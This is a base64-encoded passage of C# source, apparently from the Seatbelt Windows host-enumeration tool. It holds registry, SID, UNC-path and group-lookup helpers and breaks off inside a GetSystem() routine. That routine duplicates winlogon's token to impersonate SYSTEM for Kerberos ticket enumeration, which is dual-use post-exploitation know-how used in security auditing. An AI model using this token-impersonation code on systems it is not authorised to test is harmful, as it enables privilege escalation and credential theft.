sKICAgICAgICAgICAgT3RoZXIgPSAxLAogICAgICAgICAgICBJbnZhbGlkID0gMiwKICAgICAgICAgICAgRHluYW1pYyA9IDMsCiAgICAgICAgICAgIFN0YXRpYyA9IDQsCiAgICAgICAgfQoKCiAgICAgICAgLy8gaGVscGVycyAocmVnaXN0cnksIFVOQyBwYXRocywgZXRjLikKCiAgICAgICAgcHVibGljIHN0YXRpYyBJbnRQdHIgT3BlblNlcnZlcihTdHJpbmcgTmFtZSkKICAgICAgICB7CiAgICAgICAgICAgIEludFB0ciBzZXJ2ZXIgPSBXVFNPcGVuU2VydmVyKE5hbWUpOwogICAgICAgICAgICByZXR1cm4gc2VydmVyOwogICAgICAgIH0KICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgQ2xvc2VTZXJ2ZXIoSW50UHRyIFNlcnZlckhhbmRsZSkKICAgICAgICB7CiAgICAgICAgICAgIFdUU0Nsb3NlU2VydmVyKFNlcnZlckhhbmRsZSk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHN0cmluZyBUcmFuc2xhdGVTaWQoc3RyaW5nIFNpZCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIGFkYXB0ZWQgZnJvbSBodHRwOi8vd3d3LnBpbnZva2UubmV0L2RlZmF1bHQuYXNweC9hZHZhcGkzMi5Mb29rdXBBY2NvdW50U2lkCiAgICAgICAgICAgIFNlY3VyaXR5SWRlbnRpZmllciBhY2NvdW50U2lkID0gbmV3IFNlY3VyaXR5SWRlbnRpZmllcihTaWQpOwogICAgICAgICAgICBieXRlW10gYWNjb3VudFNpZEJ5ZXMgPSBuZXcgYnl0ZVthY2NvdW50U2lkLkJpbmFyeUxlbmd0aF07CiAgICAgICAgICAgIGFjY291bnRTaWQuR2V0QmluYXJ5Rm9ybShhY2NvdW50U2lkQnllcywgMCk7CgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIG5hbWUgPSBuZXcgU3RyaW5nQnVpbGRlcigpOwogICAgICAgICAgICB1aW50IGNjaE5hbWUgPSAodWludCluYW1lLkNhcGFjaXR5OwogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIHJlZmVyZW5jZWREb21haW5OYW1lID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICAgICAgdWludCBjY2hSZWZlcmVuY2VkRG9tYWluTmFtZSA9ICh1aW50KXJlZmVyZW5jZWREb21haW5OYW1lLkNhcGFjaXR5OwogICAgICAgICAgICBTSURfTkFNRV9VU0Ugc2lkVXNlOwoKICAgICAgICAgICAgaW50IGVyciA9IDA7CiAgICAgICAgICAgIGlmICghTG9va3VwQWNjb3VudFNpZChudWxsLCBhY2NvdW50U2lkQnllcywgbmFtZSwgcmVmIGNjaE5hbWUsIHJlZmVyZW5jZWREb21haW5OYW1lLCByZWYgY2NoUmVmZXJlbmNlZERvbWFpbk5hbWUsIG91dCBzaWRVc2UpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlcnIgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpOwogICAgICAgICAgICAgICAgaWYgKGVyciA9PSBFUlJPUl9JTlNVRkZJQ0lFTlRfQlVGRkVSKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIG5hbWUuRW5zdXJlQ2FwYWNpdHkoKGludCljY2hOYW1lKTsKICAgICAgICAgICAgICAgICAgICByZWZlcmVuY2VkRG9tYWluTmFtZS5FbnN1cmVDYXBhY2l0eSgoaW50KWNjaFJlZmVyZW5jZWREb21haW5OYW1lKTsKICAgICAgICAgICAgICAgICAgICBlcnIgPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICghTG9va3VwQWNjb3VudFNpZChudWxsLCBhY2NvdW50U2lkQnllcywgbmFtZSwgcmVmIGNjaE5hbWUsIHJlZmVyZW5jZWREb21haW5OYW1lLCByZWYgY2NoUmVmZXJlbmNlZERvbWFpbk5hbWUsIG91dCBzaWRVc2UpKQogICAgICAgICAgICAgICAgICAgICAgICBlcnIgPSBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMuTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChlcnIgPT0gMCkKICAgICAgICAgICAgICAgIHJldHVybiBTdHJpbmcuRm9ybWF0KCJ7MH1cXHsxfSIsIHJlZmVyZW5jZWREb21haW5OYW1lLlRvU3RyaW5nKCksIG5hbWUuVG9TdHJpbmcoKSk7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIHJldHVybiAiIjsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBQcmludExvZ28oKQogICAgICAgIHsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlxyXG5cclxuICAgICAgICAgICAgICAgICAgICAgICAgJSYmQEBAJiYgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIik7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICAgICAgICAgICAgICAgICAgICAmJiYmJiYmJSUlLCAgICAgICAgICAgICAgICAgICAgICAgIyYmQEBAQEBAJSUlJSUlIyMjIyMjIyMjIyMjIyMjJSAgICAgICAgICAg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i4gIC4uLiAgIC4uICAgICAgICAgQC8vLy8oKCgmJSUlJSUjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjKCMoIyMjIyMjIygoIyMjIyMiKTsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiMjIyUjIyUlIyMjIyMjIyMjIyMjIyMjIyMjIyMgICYlJS4uLi4uLi4uLi4uLi4uLiAgICAgICAgICBALy8vLygoKCYlJSUlJSUlJSMjIyMjIyMjIyMjIyMjJSMjIyMjIyMoIyMjIyMjIyMjKCgjIyMjIyIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiIyMjIyMlIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAgJSUlLi4gICAgICAgICAgICAgICAgICAgICAgIEAvLy8vKCgoJiUlJSUlJSUjIyMjIyMjIyMjIyMjIyMjICAgICAgICAgICAgICAgICAgICAgICAgIik7CiAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCIgICAgICAgICAgICAgICAgICAgICAgICAmJSYgICAlJSUlJSAgICAgIFNlYXRiZWx0ICAgICAgICAgJS8vLy8oKCgmJSUlJSUlJSUjIyMjIyMjIyMjIyMjKiAgICAgICAgICAgICAgICAgICAgICAgICAiKTsKICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIiAgICAgICAgICAgICAgICAgICAgICAgICYlJSYmJiUlJSUlICAgICAgICB2MC4yLjAgICAgICAgICAsKCgoJiUlJSUlJSUlJSUlJSUlJSUlLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIpOwogICAgICAgICAgICBDb25zb2xlLldyaXRlTGluZSgiICAgICAgICAgICAgICAgICAgICAgICAgICMlJSUlIyMsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXHJcblxyXG4iKTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEdldFJlZ1ZhbHVlKHN0cmluZyBoaXZlLCBzdHJpbmcgcGF0aCwgc3RyaW5nIHZhbHVlKQogICAgICAgIHsKICAgICAgICAgICAgLy8gcmV0dXJucyBhIHNpbmdsZSByZWdpc3RyeSB2YWx1ZSB1bmRlciB0aGUgc3BlY2lmaWVkIHBhdGggaW4gdGhlIHNwZWNpZmllZCBoaXZlIChIS0xNL0hLQ1UpCiAgICAgICAgICAgIHN0cmluZyByZWdLZXlWYWx1ZSA9ICIiOwogICAgICAgICAgICBpZiAoaGl2ZSA9PSAiSEtDVSIpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHZhciByZWdLZXkgPSBSZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3ViS2V5KHBhdGgpOwogICAgICAgICAgICAgICAgaWYgKHJlZ0tleSAhPSBudWxsKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHJlZ0tleVZhbHVlID0gU3RyaW5nLkZvcm1hdCgiezB9IiwgcmVnS2V5LkdldFZhbHVlKHZhbHVlKSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gcmVnS2V5VmFsdWU7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSBpZiAoaGl2ZSA9PSAiSEtVIikKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgdmFyIHJlZ0tleSA9IFJlZ2lzdHJ5LlVzZXJzLk9wZW5TdWJLZXkocGF0aCk7CiAgICAgICAgICAgICAgICBpZiAocmVnS2V5ICE9IG51bGwpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcmVnS2V5VmFsdWUgPSBTdHJpbmcuRm9ybWF0KCJ7MH0iLCByZWdLZXkuR2V0VmFsdWUodmFsdWUpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiByZWdLZXlWYWx1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHZhciByZWdLZXkgPSBSZWdpc3RyeS5Mb2NhbE1hY2hpbmUuT3BlblN1YktleShwYXRoKTsKICAgICAgICAgICAgICAgIGlmIChyZWdLZXkgIT0gbnVsbCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICByZWdLZXlWYWx1ZSA9IFN0cmluZy5Gb3JtYXQoInswfSIsIHJlZ0tleS5HZXRWYWx1ZSh2YWx1ZSkpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIHJlZ0tleVZhbHVlOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIGJ5dGVbXSBHZXRSZWdWYWx1ZUJ5dGVzKHN0cmluZyBoaXZlLCBzdHJpbmcgcGF0aCwgc3RyaW5nIHZhbHVlKQogICAgICAgIHsKICAgICAgICAgICAgLy8gcmV0dXJucyBhIGJ5dGUgYXJyYXkgb2Ygc2luZ2xlIHJlZ2lzdHJ5IHZhbHVlIHVuZGVyIHRoZSBzcGVjaWZpZWQgcGF0aCBpbiB0aGUgc3BlY2lmaWVkIGhpdmUgKEhLTE0vSEtDVSkKICAgICAgICAgICAgYnl0ZVtdIHJlZ0tleVZhbHVlID0gbnVsbDsKICAgICAgICAgICAgaWYgKGhpdmUgPT0gIkhLQ1UiKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB2YXIgcmVnS2V5ID0gUmVnaXN0cnkuQ3VycmVudFVzZXIuT3BlblN1YktleShwYXRoKTsKICAgICAgICAgICAgICAgIGlmIChyZWdLZXkgIT0gbnVsbCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICByZWdLZXlWYWx1ZSA9IChieXRlW10pcmVnS2V5LkdldFZhbHVlKHZhbHVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiByZWdLZXlWYWx1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIGlmIChoaXZlID09ICJIS1UiKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICB2YXIgcmVnS2V5ID0gUmVnaXN0cnkuVXNlcnMuT3BlblN1YktleShwYXRoKTsKICAgICAgICAgICAgICAgIGlmIChyZWdLZXkgIT0gbnVsbCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICByZWdLZXlWYWx1ZSA9IChieXRlW10pcmVnS2V5LkdldFZhbHVlKHZhbHVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiByZWdLZXlWYWx1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHZhciByZWdLZXkgPSBSZWdpc3RyeS5Mb2NhbE1hY2hpbmUuT3BlblN1YktleShwYXRoKTsKICAgICAgICAgICAgICAgIGlmIChyZWdLZXkgIT0gbnVsbCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICByZWdLZXlWYWx1ZSA9IChieXRlW10pcmVnS2V5LkdldFZhbHVlKHZhbHVlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiByZWdLZXlWYWx1ZTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBEaWN0aW9uYXJ5PHN0cmluZywgb2JqZWN0PiBHZXRSZWdWYWx1ZXMoc3RyaW5nIGhpdmUsIHN0cmluZyBwYXRoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gcmV0dXJucyBhbGwgcmVnaXN0cnkgdmFsdWVzIHVuZGVyIHRoZSBzcGVjaWZpZWQgcGF0aCBpbiB0aGUgc3BlY2lmaWVkIGhpdmUgKEhLTE0vSEtDVSkKICAgICAgICAgICAgRGljdGlvbmFyeTxzdHJpbmcsIG9iamVjdD4ga2V5VmFsdWVQYWlycyA9IG51bGw7CiAgICAgICAgICAgIHRyeQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoaGl2ZSA9PSAiSEtDVSIpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgdXNpbmcgKHZhciByZWdLZXlWYWx1ZXMgPSBSZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3ViS2V5KHBhdGgpKQogICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHJlZ0tleVZhbHVlcyAhPSBudWxsKQogICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgdmFsdWVOYW1lcyA9IHJlZ0tleVZhbHVlcy5HZXRWYWx1ZU5hbWVzKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBrZXlWYWx1ZVBhaXJzID0gdmFsdWVOYW1lcy5Ub0RpY3Rpb25hcnkobmFtZSA9PiBuYW1lLCByZWdLZXlWYWx1ZXMuR2V0VmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBpZiAoaGl2ZSA9PSAiSEtVIikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICB1c2luZyAodmFyIHJlZ0tleVZhbHVlcyA9IFJlZ2lzdHJ5LlVzZXJzLk9wZW5TdWJLZXkocGF0aCkpCiAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAocmVnS2V5VmFsdWVzICE9IG51bGwpCiAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhciB2YWx1ZU5hbWVzID0gcmVnS2V5VmFsdWVzLkdldFZhbHVlTmFtZXMoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtleVZhbHVlUGFpcnMgPSB2YWx1ZU5hbWVzLlRvRGljdGlvbmFyeShuYW1lID0+IG5hbWUsIHJlZ0tleVZhbHVlcy5HZXRWYWx1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgdXNpbmcgKHZhciByZWdLZXlWYWx1ZXMgPSBSZWdpc3RyeS5Mb2NhbE1hY2hpbmUuT3BlblN1YktleShwYXRoKSkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChyZWdLZXlWYWx1ZXMgIT0gbnVsbCkKICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyIHZhbHVlTmFtZXMgPSByZWdLZXlWYWx1ZXMuR2V0VmFsdWVOYW1lcygpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAga2V5VmFsdWVQYWlycyA9IHZhbHVlTmFtZXMuVG9EaWN0aW9uYXJ5KG5hbWUgPT4gbmFtZSwgcmVnS2V5VmFsdWVzLkdldFZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiBrZXlWYWx1ZVBhaXJzOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGNhdGNoCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHN0cmluZ1tdIEdldFJlZ1N1YmtleXMoc3RyaW5nIGhpdmUsIHN0cmluZyBwYXRoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gcmV0dXJucyBhbiBhcnJheSBvZiB0aGUgc3Via2V5cyBuYW1lcyB1bmRlciB0aGUgc3BlY2lmaWVkIHBhdGggaW4gdGhlIHNwZWNpZmllZCBoaXZlIChIS0xNL0hLQ1UvSEtVKQogICAgICAgICAgICB0cnkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgTWljcm9zb2Z0LldpbjMyLlJlZ2lzdHJ5S2V5IG15S2V5ID0gbnVsbDsKICAgICAgICAgICAgICAgIGlmIChoaXZlID09ICJIS0xNIikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBteUtleSA9IFJlZ2lzdHJ5LkxvY2FsTWFjaGluZS5PcGVuU3ViS2V5KHBhdGgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBpZiAoaGl2ZSA9PSAiSEtVIikKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBteUtleSA9IFJlZ2lzdHJ5LlVzZXJzLk9wZW5TdWJLZXkocGF0aCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgbXlLZXkgPSBSZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3ViS2V5KHBhdGgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgU3RyaW5nW10gc3Via2V5TmFtZXMgPSBteUtleS5HZXRTdWJLZXlOYW1lcygpOwogICAgICAgICAgICAgICAgcmV0dXJuIG15S2V5LkdldFN1YktleU5hbWVzKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgY2F0Y2gKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBzdHJpbmdbMF07CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEdldFVOQ1BhdGgoc3RyaW5nIG9yaWdpbmFsUGF0aCkKICAgICAgICB7CiAgICAgICAgICAgIC8vIHVzZXMgV05ldEdldENvbm5lY3Rpb24gdG8gbWFwIGEgZHJpdmUgbGV0dGVyIHRvIGEgcG9zc2libGUgVU5DIG1vdW50IHBhdGgKICAgICAgICAgICAgLy8gUHVsbGVkIGZyb20gQGFtYnl0ZSdzIGdpc3QgYXQgaHR0cHM6Ly9naXN0LmdpdGh1Yi5jb20vYW1ieXRlLzAxNjY0ZGM3ZWU1NzZmNjkwNDJjCgogICAgICAgICAgICBTdHJpbmdCdWlsZGVyIHNiID0gbmV3IFN0cmluZ0J1aWxkZXIoNTEyKTsKICAgICAgICAgICAgaW50IHNpemUgPSBzYi5DYXBhY2l0eTsKCiAgICAgICAgICAgIC8vIGxvb2sgZm9yIHRoZSB7TEVUVEVSfTogY29tYmluYXRpb24gLi4uCiAgICAgICAgICAgIGlmIChvcmlnaW5hbFBhdGguTGVuZ3RoID4gMiAmJiBvcmlnaW5hbFBhdGhbMV0gPT0gJzonKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAvLyBkb24ndCB1c2UgY2hhci5Jc0xldHRlciBoZXJlIC0gYXMgdGhhdCBjYW4gYmUgbWlzbGVhZGluZwogICAgICAgICAgICAgICAgLy8gdGhlIG9ubHkgdmFsaWQgZHJpdmUgbGV0dGVycyBhcmUgYS16ICYmIEEtWi4KICAgICAgICAgICAgICAgIGNoYXIgYyA9IG9yaWdpbmFsUGF0aFswXTsKICAgICAgICAgICAgICAgIGlmICgoYyA+PSAnYScgJiYgYyA8PSAneicpIHx8IChjID49ICdBJyAmJiBjIDw9ICdaJykpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgaW50IGVycm9yID0gV05ldEdldENvbm5lY3Rpb24ob3JpZ2luYWxQYXRoLlN1YnN0cmluZygwLCAyKSwKICAgICAgICAgICAgICAgICAgICAgICAgc2IsIHJlZiBzaXplKTsKICAgICAgICAgICAgICAgICAgICBpZiAoZXJyb3IgPT0gMCkKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIERpcmVjdG9yeUluZm8gZGlyID0gbmV3IERpcmVjdG9yeUluZm8ob3JpZ2luYWxQYXRoKTsKCiAgICAgICAgICAgICAgICAgICAgICA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V0d29ya0FQSS5FUlJPUl9OT19TVUNIX0FMSUFTKSB7IENvbnNvbGUuV3JpdGVMaW5lKCJHcm91cCBub3QgZm91bmQiKTsgcmV0dXJuIG51bGw7IH0KICAgICAgICAgICAgICAgIGlmIChyZXRWYWwgPT0gTmV0d29ya0FQSS5ORVJSX0ludmFsaWRDb21wdXRlcikgeyBDb25zb2xlLldyaXRlTGluZSgiSW52YWxpZCBjb21wdXRlciBuYW1lIik7IHJldHVybiBudWxsOyB9CiAgICAgICAgICAgICAgICBpZiAocmV0VmFsID09IE5ldHdvcmtBUEkuTkVSUl9Hcm91cE5vdEZvdW5kKSB7IENvbnNvbGUuV3JpdGVMaW5lKCJHcm91cCBub3QgZm91bmQiKTsgcmV0dXJuIG51bGw7IH0KICAgICAgICAgICAgICAgIGlmIChyZXRWYWwgPT0gTmV0d29ya0FQSS5TRVJWRVJfVU5BVkFJTEFCTEUpIHsgQ29uc29sZS5Xcml0ZUxpbmUoIlNlcnZlciB1bmF2YWlsYWJsZSIpOyByZXR1cm4gbnVsbDsgfQogICAgICAgICAgICAgICAgQ29uc29sZS5Xcml0ZUxpbmUoIlVuZXhwZWN0ZWQgTkVUX0FQSV9TVEFUVVM6ICIgKyByZXRWYWwuVG9TdHJpbmcoKSk7CiAgICAgICAgICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKEVudHJpZXNSZWFkID4gMCkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgc3RyaW5nW10gbmFtZXMgPSBuZXcgc3RyaW5nW0VudHJpZXNSZWFkXTsKICAgICAgICAgICAgICAgIE5ldHdvcmtBUEkuTE9DQUxHUk9VUF9NRU1CRVJTX0lORk9fMltdIE1lbWJlcnMgPSBuZXcgTmV0d29ya0FQSS5MT0NBTEdST1VQX01FTUJFUlNfSU5GT18yW0VudHJpZXNSZWFkXTsKICAgICAgICAgICAgICAgIEludFB0ciBpdGVyID0gYnVmUHRyOwoKICAgICAgICAgICAgICAgIGZvciAoaW50IGkgPSAwOyBpIDwgRW50cmllc1JlYWQ7IGkrKykKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBNZW1iZXJzW2ldID0gKE5ldHdvcmtBUEkuTE9DQUxHUk9VUF9NRU1CRVJTX0lORk9fMilNYXJzaGFsLlB0clRvU3RydWN0dXJlKGl0ZXIsIHR5cGVvZihOZXR3b3JrQVBJLkxPQ0FMR1JPVVBfTUVNQkVSU19JTkZPXzIpKTsKCiAgICAgICAgICAgICAgICAgICAgLy94NjQgc2FmZQogICAgICAgICAgICAgICAgICAgIGl0ZXIgPSBuZXcgSW50UHRyKGl0ZXIuVG9JbnQ2NCgpICsgTWFyc2hhbC5TaXplT2YodHlwZW9mKE5ldHdvcmtBUEkuTE9DQUxHUk9VUF9NRU1CRVJTX0lORk9fMikpKTsKCiAgICAgICAgICAgICAgICAgICAgbmFtZXNbaV0gPSBNZW1iZXJzW2ldLmxncm1pMl9kb21haW5hbmRuYW1lOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgTmV0d29ya0FQSS5OZXRBcGlCdWZmZXJGcmVlKGJ1ZlB0cik7CgogICAgICAgICAgICAgICAgcmV0dXJuIG5hbWVzOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgcmV0dXJuIG51bGw7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gR2V0VG9rZW5Hcm91cFNJRHMoKQogICAgICAgIHsKICAgICAgICAgICAgLy8gUmV0dXJucyBhbGwgU0lEcyB0aGF0IHRoZSBjdXJyZW50IHVzZXIgaXMgYSBwYXJ0IG9mLCB3aGV0aGVyIHRoZXkgYXJlIGRpc2FibGVkIG9yIG5vdC4KICAgICAgICAgICAgLy8gc2xpZ2h0bHkgYWRhcHRlZCBmcm9tIGh0dHBzOi8vc3RhY2tvdmVyZmxvdy5jb20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TsKICAgICAgICAgICAgc3RyaW5nW10gdXNlclNJRFMgPSBuZXcgc3RyaW5nW2dyb3Vwcy5Hcm91cENvdW50XTsKICAgICAgICAgICAgaW50IHNpZEFuZEF0dHJTaXplID0gTWFyc2hhbC5TaXplT2YobmV3IFNJRF9BTkRfQVRUUklCVVRFUygpKTsKICAgICAgICAgICAgZm9yIChpbnQgaSA9IDA7IGkgPCBncm91cHMuR3JvdXBDb3VudDsgaSsrKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBTSURfQU5EX0FUVFJJQlVURVMgc2lkQW5kQXR0cmlidXRlcyA9IChTSURfQU5EX0FUVFJJQlVURVMpTWFyc2hhbC5QdHJUb1N0cnVjdHVyZSgKICAgICAgICAgICAgICAgICAgICBuZXcgSW50UHRyKFRva2VuSW5mb3JtYXRpb24uVG9JbnQ2NCgpICsgaSAqIHNpZEFuZEF0dHJTaXplICsgSW50UHRyLlNpemUpLCB0eXBlb2YoU0lEX0FORF9BVFRSSUJVVEVTKSk7CgogICAgICAgICAgICAgICAgSW50UHRyIHBzdHIgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgICAgIENvbnZlcnRTaWRUb1N0cmluZ1NpZChzaWRBbmRBdHRyaWJ1dGVzLlNpZCwgb3V0IHBzdHIpOwogICAgICAgICAgICAgICAgdXNlclNJRFNbaV0gPSBNYXJzaGFsLlB0clRvU3RyaW5nQXV0byhwc3RyKTsKICAgICAgICAgICAgICAgIExvY2FsRnJlZShwc3RyKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgTWFyc2hhbC5GcmVlSEdsb2JhbChUb2tlbkluZm9ybWF0aW9uKTsKICAgICAgICAgICAgcmV0dXJuIHVzZXJTSURTOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIHN0YXRpYyBib29sIEdldFN5c3RlbSgpCiAgICAgICAgewogICAgICAgICAgICAvLyBoZWxwZXIgdG8gZWxldmF0ZSB0byBTWVNURU0gZm9yIEtlcmJlcm9zIHRpY2tldCBlbnVtZXJhdGlvbiB2aWEgdG9rZW4gaW1wZXJzb25hdGlvbgoKICAgICAgICAgICAgaWYgKElzSGlnaEludGVncml0eSgpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBJbnRQdHIgaFRva2VuID0gSW50UHRyLlplcm87CgogICAgICAgICAgICAgICAgLy8gT3BlbiB3aW5sb2dvbidzIHRva2VuIHdpdGggVE9LRU5fRFVQTElDQVRFIGFjY2Vzc3Mgc28gY2EgY2FuIG1ha2UgYSBjb3B5IG9mIHRoZSB0b2tlbiB3aXRoIER1cGxpY2F0ZVRva2VuCiAgICAgICAgICAgICAgICBQcm9jZXNzW10gcHJvY2Vzc2VzID0gUHJvY2Vzcy5HZXRQcm9jZXNzZXNCeU5hbWUoIndpbmxvZ29uIik7CiAgICAgICAgICAgICAgICBJbnRQdHIgaGFuZGxlID0gcHJvY2Vzc2VzWzBdLkhhbmRsZTsKCiAgICAgICAgICAgICAgICAvLyBUT0tFTl9EVVBMSUNBVEUgPSAweDAwMDIKICAgICAgICAgICAgICAgIGJvb2wgc3VjY2VzcyA9IE9wZW5Qcm9jZXNzVG9rZW4oaGFuZGxlLCAweDAwMDIsIG91dCBoVG9rZW4pOwogICAgICAgICAgICAgICAgaWYgKCFzdWNjZXNzKQogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIC8vQ29uc29sZS5Xcml0ZUxpbmUoIk9wZW5Qcm9jZXNzVG9rZW4gZmFpbGVkISIpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBtYWtlIGEgY29weSBvZiB0aGUgTlQgQVVUSE9SSVRZXFNZU1RFTSB0b2tlbiBmcm9tIHdpbmxvZ29uCiAgICAgICAgICAgICAgICAvLyAyID09IFNlY3VyaXR5SW1wZXJzb2